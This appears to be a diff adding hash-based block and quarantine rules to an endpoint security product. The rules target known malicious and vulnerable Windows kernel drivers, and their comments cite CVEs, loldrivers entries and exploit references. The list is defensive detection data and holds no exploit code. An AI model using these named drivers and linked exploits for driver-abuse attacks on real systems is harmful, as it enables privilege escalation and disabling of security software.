+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.465833Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9a42fa1870472c38a56c0a70f62e57a3cdc0f5bc142f3a400d897b85d65800ac",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c18a3ce5-35c5-5b68-8331-a9d2991ffd99",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969716Z",
+  "creation_date": "2026-03-23T11:45:29.969718Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969723Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fab3f1dbc49bd9f0219156fe49d4423c311f529f7d3653f5f69d2b10b9b0bc98",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c193c419-54b5-5981-aff5-3b73bf831af3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613312Z",
+  "creation_date": "2026-03-23T11:45:29.613314Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613319Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4bf974f5d3489638a48ee508b4a8cfa0f0262909778ccdd2e871172b71654d89",
+  "comment": "ASRock vulnerable drivers - Privilege Escalation (aka AsrDrv10X.sys) [CVE-2018-10709] [https://www.exploit-db.com/exploits/45716] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c1a6fc31-6b00-53fb-82f9-b931ebf85818",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609593Z",
+  "creation_date": "2026-03-23T11:45:29.609595Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.609601Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "610dff57f635693812337813a3f03bb1c3c6b7b6cf5c3f39fbc334ff2a73b69a",
+  "comment": "RobbinHood ransomware malicious driver (aka rbnl.sys) [https://news.sophos.com/en-us/2020/02/06/living-off-another-land-ransomware-borrows-vulnerable-driver-to-remove-security-software/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c1b0e20e-7745-5a77-8598-ba3f68b2f610",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.819464Z",
+  "creation_date": "2026-03-23T11:45:31.819466Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.819474Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "62a27ad4d031df0740e7d56b8a5a3f0cf6049a5e61605ea960380d1d9f3b03dd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c1b19a4a-418e-5039-9ef0-05cf19e4e614",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160175Z",
+  "creation_date": "2026-03-23T11:45:31.160179Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160187Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f8e2c11c898653b7a85003685aeae9e960cc1f562b8a4429dbe0fbfc254764ff",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c1b689fa-3785-57f4-a8ed-265fd004622c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492896Z",
+  "creation_date": "2026-03-23T11:45:31.492899Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492908Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f0436088396d3fda62bc30d7cd1c68f532f538784ec265a54eb42c324d2a8b63",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c1b97270-149b-570e-9be6-dc511bf5f320",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610958Z",
+  "creation_date": "2026-03-23T11:45:29.610960Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610965Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3966d4b1e4f5442b8507f91b6dbde3523657b47fd2945d990249605727d231ec",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c1bb1d40-6c25-593a-ac83-c339a837c519",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972020Z",
+  "creation_date": "2026-03-23T11:45:29.972022Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972028Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "77c5e95b872b1d815d6d3ed28b399ca39f3427eeb0143f49982120ff732285a9",
+  "comment": "Intel Ethernet diagnostics vulnerable driver (aka iQVW64.sys) [CVE-2015-2291] [https://www.loldrivers.io/drivers/1d2cdef1-de44-4849-80e5-e2fa288df681/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c1d1ff91-9ab1-5a32-937a-a5db85e3f406",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812169Z",
+  "creation_date": "2026-03-23T11:45:31.812171Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812177Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d7fd0abc3f05184243363889c705786f10fe0bd85023f4cad4a0749ff7c431cf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c1e32740-d924-5edc-b527-eb9def0ebe2b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.807446Z",
+  "creation_date": "2026-03-23T11:45:31.807448Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.807454Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "20c3b13fd0da01f901fce7daf1eb7531fefb37be6f7a690efc1a22f4889f0199",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c1ec604b-b474-5807-94a7-a57c6fa72233",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976428Z",
+  "creation_date": "2026-03-23T11:45:29.976430Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976436Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d7c81b0f3c14844f6424e8bdd31a128e773cb96cccef6d05cbff473f0ccb9f9c",
+  "comment": "Malicious attestation-signed Drivers (aka NodeDriver.sys, 4.sys, Air_SYSTEM10.sys etc.) [https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c1f07d58-e4f0-5f36-95f9-5705ba0c0479",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.456248Z",
+  "creation_date": "2026-03-23T11:45:30.456252Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.456260Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "698353791261d5a9ca3245ae8f86334493df554690ec7962895c2affe4050db2",
+  "comment": "Vulnerable Kernel Driver (aka iobitunlocker.sys) [https://www.loldrivers.io/drivers/e368efc7-cf69-47ae-8204-f69dac000b22/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c1fa2df2-2ca1-5590-9f0a-6f86235409a5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.480527Z",
+  "creation_date": "2026-03-23T11:45:31.480531Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.480540Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "512110fbb8ddf0c909e5676a94eaf0ad7a0847cc2a70692e8ed96ba82462cfbe",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c1fea586-d297-5e6b-aac3-18082bc390e5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.478773Z",
+  "creation_date": "2026-03-23T11:45:31.478777Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.478785Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1d269d6f031743967b7affefe29f0fb0d2315047676464aa23052da44410b1b1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c209ab55-935e-5ff3-835d-46526c46e8fd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.474388Z",
+  "creation_date": "2026-03-23T11:45:30.474391Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.474399Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "43eeac44acc2f0aefc02522f1d203b37798fec9232d5b6c5d266badc118a1d8b",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c20bbad5-dc53-56b2-982b-4c73c206bf10",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614110Z",
+  "creation_date": "2026-03-23T11:45:29.614112Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614118Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0f035948848432bc243704041739e49b528f35c82a5be922d9e3b8a4c44398ff",
+  "comment": "MICSYS Technology driver (aka MsIo64.sys) [CVE-2019-18845] [https://github.com/kkent030315/MsIoExploit] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c20cda53-0c27-5077-bc27-febff0fc74ce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980029Z",
+  "creation_date": "2026-03-23T11:45:29.980031Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980036Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "06a0ec9a316eb89cb041b1907918e3ad3b03842ec65f004f6fa74d57955573a4",
+  "comment": "Malicious Kernel Driver (aka wantd.sys) [https://www.loldrivers.io/drivers/892292f9-b87c-40a5-80e5-8c9b02914e8b/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c215410f-0738-59c5-97cf-7472b4576aa7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144141Z",
+  "creation_date": "2026-03-23T11:45:31.144143Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144148Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fb270140b9a9df701906b79419807945bd39aa552524a67a62e89110ce7d2dc6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c215b303-b470-5821-98a2-4b1805df15f4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146988Z",
+  "creation_date": "2026-03-23T11:45:31.146990Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146996Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fc8b53ebef91d234235dca92d368727db634afd4a4cf0f4cecb6eb1fc29260e9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c21907d9-b23d-5529-affd-85088fb3e7cf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.474854Z",
+  "creation_date": "2026-03-23T11:45:30.474857Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.474866Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fed2e6e84e5f7212a86ede773184d97fb11d24b5da26a030c833dd1bec4ec953",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c21b1101-98d1-5890-971e-21aef12051ce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147094Z",
+  "creation_date": "2026-03-23T11:45:31.147096Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147102Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5c5718f3ef2a578761ac96209df9ba0d1c5636ea16530a88f2d2bd70e127f22e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c21be22e-404f-5306-926c-d34282d34b81",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813115Z",
+  "creation_date": "2026-03-23T11:45:31.813118Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813127Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7c358142fe85e9e20006a5b85b5ce5f4b09ee6d726be739654ccfe393a6f7756",
